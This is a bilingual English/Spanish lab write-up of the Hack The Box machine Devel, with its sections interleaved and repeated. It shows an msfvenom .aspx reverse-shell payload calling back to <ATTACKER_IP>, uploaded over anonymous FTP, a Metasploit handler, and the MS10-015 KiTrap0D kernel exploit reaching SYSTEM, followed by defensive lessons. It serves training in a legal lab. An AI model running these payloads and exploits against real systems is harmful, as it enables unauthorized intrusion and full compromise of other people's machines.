Devel
Executive summary — Devel is an Easy Windows box teaching a classic from HTB's early days: an anonymous FTP server that writes into the same directory IIS serves. Uploading an
.aspxwebshell over FTP is enough for IIS to execute it, handing us a low-privilege shell (iis apppool\web); from there, an unpatched Windows 7 x86 falls to a 2010 kernel exploit (MS10-015 / CVE-2010-0232, KiTrap0D) straight toSYSTEM. A anonymous FTP → RCE via IIS → limited shell → kernel exploit → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.26.240 |
Attack map
[21/80] nmap → FTP and IIS both up on the same host
│ anonymous login confirms: FTP serves IIS's webroot
▼
[FTP] put shell.aspx (msfvenom, reverse_tcp)
│ IIS executes ASP.NET → curl triggers the payload
▼
[SHELL] iis apppool\web (virtual account, low privilege)
│ sysinfo: unpatched Windows 7 x86 → local_exploit_suggester
▼
[KERNEL] MS10-015 / CVE-2010-0232 (KiTrap0D, x86 only)
▼
[SYSTEM]
1. Reconnaissance
We start with a full TCP port sweep, then a targeted scan with version detection and default scripts against whatever comes up open:
nmap -p- --min-rate=1000 -T4 10.129.26.240
nmap -p21,80 -sC -sV 10.129.26.240
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS
Hypothesis: only two ports open — FTP and an IIS — on the same box. That's a classic Easy-lab combination: the file service and the web server often point at the same physical directory. If so, anything we upload via FTP would be exposed (and potentially executed) over HTTP.
Resumen ejecutivo — Devel es una máquina Windows Easy que enseña un clásico de los inicios de HTB: un servidor FTP con login anónimo que escribe en el mismo directorio que sirve IIS. Basta con subir una webshell
.aspxpor FTP para que IIS la ejecute, entregando una shell de bajos privilegios (iis apppool\web); desde ahí, un Windows 7 x86 sin parchear cae con un exploit de kernel de 2010 (MS10-015 / CVE-2010-0232, KiTrap0D) directo aSYSTEM. Recorrido FTP anónimo → RCE vía IIS → shell limitada → exploit de kernel → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.26.240 |
Mapa del ataque
[21/80] nmap → FTP y IIS activos en el mismo host
│ login anónimo confirma: el FTP sirve el webroot de IIS
▼
[FTP] put shell.aspx (msfvenom, reverse_tcp)
│ IIS ejecuta ASP.NET → curl dispara el payload
▼
[SHELL] iis apppool\web (cuenta virtual, bajos privilegios)
│ sysinfo: Windows 7 x86 sin parches → local_exploit_suggester
▼
[KERNEL] MS10-015 / CVE-2010-0232 (KiTrap0D, solo x86)
▼
[SYSTEM]
1. Reconocimiento
Empezamos con un barrido completo de puertos TCP y luego un escaneo dirigido con detección de versiones y scripts por defecto sobre los que aparecen abiertos:
nmap -p- --min-rate=1000 -T4 10.129.26.240
nmap -p21,80 -sC -sV 10.129.26.240
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS
Hipótesis: solo dos puertos abiertos — FTP y un IIS — en la misma máquina. Es una combinación clásica de laboratorios Easy: el servicio de ficheros y el servidor web suelen apuntar al mismo directorio físico. Si es así, todo lo que subamos por FTP quedaría expuesto (y potencialmente ejecutado) por HTTP.
2. Anonymous FTP access
We try anonymous login, enabled by default on many misconfigured Microsoft FTP installs (user anonymous, any password or none):
ftp 10.129.26.240
# user: anonymous · pass: (enter)
ls
iisstart.htm welcome.png
Confirmed:
iisstart.htmis IIS's default welcome page. Seeing it over FTP means the FTP root is anchored over the same webroot served on port 80. No software vulnerability is needed here — it's an architecture flaw: failing to separate write access from a directory a public service executes.
3. Exploitation (RCE) — .aspx webshell
IIS on Devel runs ASP.NET, so we generate a reverse shell in .aspx format with msfvenom. The windows/meterpreter/reverse_tcp payload defaults to x86 — consistent with what we'll confirm later (sysinfo will report Windows 7 x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f aspx > shell.aspx
-p sets the payload (meterpreter over reverse TCP), LHOST/LPORT are our listener's IP and port, and -f aspx wraps the shellcode inside a valid .aspx page that the ASP.NET runtime will compile and execute on request. We upload it over the same anonymous FTP (confirming, along the way, that we have write access, not just read) and set up the Metasploit handler to catch the callback:
ftp 10.129.26.240
put shell.aspx
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 4444
run
And trigger it by requesting it over the web, which is what makes IIS execute it under the application pool's privileges:
curl http://10.129.26.240/shell.aspx
[*] Meterpreter session 1 opened
4. Internal enumeration
With the session open, we confirm identity and OS before deciding how to escalate:
getuid
sysinfo
Server username: IIS APPPOOL\Web
OS: Windows 7 · Arch: x86 · (unpatched)
Two key facts:
iis apppool\webis a virtual account (Application Pool Identity) that IIS 7+ creates to isolate each application pool — least-privilege in theory, but that doesn't help if the kernel underneath is unpatched. Andsysinfoconfirms Windows 7 32-bit (x86), with no patches applied: the perfect candidate for a kernel exploit that only works on 32-bit architectures.
5. Privilege escalation (kernel exploit)
We background the session and run Metasploit's local exploit suggester, which compares the system's version and architecture against its catalog of known local exploits:
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
... exploit/windows/local/ms10_015_kitrap0d Yes ...
It points to MS10-015 (CVE-2010-0232), known as KiTrap0D: a NULL pointer dereference in the kernel subsystem that emulates 16-bit applications (VDM, Virtual DOS Machine) on 32-bit Windows. Since x64 systems don't ship that subsystem at all, the bug only affects x86 — exactly the architecture sysinfo showed us. An unprivileged process can trigger it and elevate straight to SYSTEM. We fire it:
use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
set LHOST <ATTACKER_IP>
set LPORT 5555
run
[*] Meterpreter session 2 opened
sessions -i 2
getuid → NT AUTHORITY\SYSTEM
6. Flags
With SYSTEM confirmed, we read both flags. This can be done by dropping into a native Windows shell inside meterpreter:
shell
type C:\Users\babis\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
or directly with meterpreter's own stdapi commands, without dropping to a native shell at all:
cat C:\\Users\\babis\\Desktop\\user.txt
cat C:\\Users\\Administrator\\Desktop\\root.txt
System fully compromised, from anonymous FTP to NT AUTHORITY\SYSTEM. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Anonymous FTP + IIS | Anonymous FTP writes into the same webroot IIS serves → upload and execution of an .aspx webshell | RCE as iis apppool\web |
| PrivEsc | Windows 7 x86 kernel | MS10-015 / CVE-2010-0232 (KiTrap0D): NULL pointer dereference in the 32-bit VDM subsystem, unpatched system | Elevation to NT AUTHORITY\SYSTEM |
Lessons learned
- Anonymous, writable FTP over the webroot = RCE on a plate. Write access to a directory a public-facing service interprets or executes should be treated as remote code access, not a simple file transfer.
- Separate services and permissions: FTP, storage, and the webroot shouldn't share a directory unless strictly necessary, and never with anonymous write access.
- IIS's low-privilege identity (Application Pool Identity) isn't enough isolation if the kernel underneath is unpatched: user-land privilege separation doesn't stop a kernel exploit.
- Patch the operating system, not just applications: a fix for MS10-015 had been available since 2010; an unpatched Windows turns any limited shell into SYSTEM.
- Metasploit's local exploit suggester is the logical first move after landing a limited shell: it automates matching the system's version/architecture against known local exploits.
2. Acceso FTP anónimo
Probamos el login anónimo, habilitado por defecto en muchas instalaciones de Microsoft FTP mal configuradas (usuario anonymous, cualquier contraseña o ninguna):
ftp 10.129.26.240
# user: anonymous · pass: (enter)
ls
iisstart.htm welcome.png
Confirmado:
iisstart.htmes la página de bienvenida por defecto de IIS. Verla por FTP significa que el FTP está anclado sobre el mismo webroot que sirve el puerto 80. No hace falta ninguna vulnerabilidad de software: es un fallo de arquitectura — separar el acceso de escritura del directorio que un servicio público ejecuta.
3. Explotación (RCE) — webshell .aspx
IIS en Devel ejecuta ASP.NET, así que generamos una reverse shell en formato .aspx con msfvenom. El payload windows/meterpreter/reverse_tcp es de arquitectura x86 por defecto — coherente con lo que confirmaremos después (sysinfo dirá Windows 7 x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f aspx > shell.aspx
-p fija el payload (meterpreter por reverse TCP), LHOST/LPORT son nuestra IP y puerto de escucha, y -f aspx empaqueta el shellcode dentro de una página .aspx válida que el runtime de ASP.NET compilará y ejecutará al recibir la petición HTTP. La subimos por el mismo FTP anónimo (confirmando así, de paso, que además de lectura tenemos escritura) y dejamos preparado el handler de Metasploit para recibir la conexión:
ftp 10.129.26.240
put shell.aspx
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 4444
run
Y la disparamos pidiéndola por la web, que es lo que hace que IIS la ejecute con los privilegios del application pool:
curl http://10.129.26.240/shell.aspx
[*] Meterpreter session 1 opened
4. Enumeración interna
Con la sesión abierta, confirmamos identidad y sistema operativo antes de decidir cómo escalar:
getuid
sysinfo
Server username: IIS APPPOOL\Web
OS: Windows 7 · Arch: x86 · (sin parches)
Dos datos clave:
iis apppool\webes una cuenta virtual (Application Pool Identity) que IIS 7+ crea para aislar cada pool de aplicaciones — en teoría de privilegios mínimos, pero eso no protege si el kernel por debajo está sin parchear. Ysysinfoconfirma Windows 7 x86 de 32 bits, sin ningún parche aplicado: el candidato perfecto para un exploit de kernel que solo funciona en arquitecturas de 32 bits.
5. Escalada de privilegios (exploit de kernel)
Dejamos la sesión en segundo plano y usamos el local exploit suggester de Metasploit, que compara la versión y arquitectura del sistema contra su catálogo de exploits locales conocidos:
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
... exploit/windows/local/ms10_015_kitrap0d Yes ...
El resultado apunta a MS10-015 (CVE-2010-0232), conocido como KiTrap0D: un NULL pointer dereference en el subsistema del kernel que emula aplicaciones de 16 bits (VDM, Virtual DOS Machine) en Windows de 32 bits. Como los sistemas x64 no incluyen ese subsistema, el fallo solo afecta a x86 — exactamente la arquitectura que vimos en sysinfo. Un proceso sin privilegios puede desencadenarlo y elevar directamente a SYSTEM. Lo lanzamos:
use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
set LHOST <ATTACKER_IP>
set LPORT 5555
run
[*] Meterpreter session 2 opened
sessions -i 2
getuid → NT AUTHORITY\SYSTEM
6. Flags
Con SYSTEM confirmado, leemos las dos flags. Puede hacerse abriendo una shell nativa de Windows dentro de meterpreter:
shell
type C:\Users\babis\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
o directamente con los comandos de stdapi de meterpreter, sin salir a una shell nativa:
cat C:\\Users\\babis\\Desktop\\user.txt
cat C:\\Users\\Administrator\\Desktop\\root.txt
Sistema comprometido por completo, de anónimo por FTP a NT AUTHORITY\SYSTEM. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | FTP anónimo + IIS | El FTP anónimo escribe sobre el mismo webroot que sirve IIS → subida y ejecución de una webshell .aspx | RCE como iis apppool\web |
| PrivEsc | Kernel de Windows 7 x86 | MS10-015 / CVE-2010-0232 (KiTrap0D): NULL pointer dereference en el subsistema VDM de 32 bits, sistema sin parchear | Elevación a NT AUTHORITY\SYSTEM |
Lecciones aprendidas
- FTP anónimo con escritura sobre el webroot = RCE servida en bandeja. El acceso de escritura a un directorio que un servicio público interpreta o ejecuta debe tratarse como acceso remoto a código, no como una simple transferencia de ficheros.
- Separa servicios y permisos: FTP, almacenamiento y webroot no deberían compartir directorio salvo que sea estrictamente necesario, y nunca con escritura anónima.
- La identidad de bajos privilegios de IIS (Application Pool Identity) no es suficiente aislamiento si el kernel que hay debajo está sin parchear: la separación de privilegios en el user-land no detiene un exploit de kernel.
- Parchea el sistema operativo, no solo las aplicaciones: MS10-015 llevaba parche disponible desde 2010; un Windows sin actualizar convierte cualquier shell limitada en SYSTEM.
- El local exploit suggester de Metasploit es el primer paso lógico tras conseguir una shell limitada: automatiza el cruce entre versión/arquitectura del sistema y exploits locales conocidos.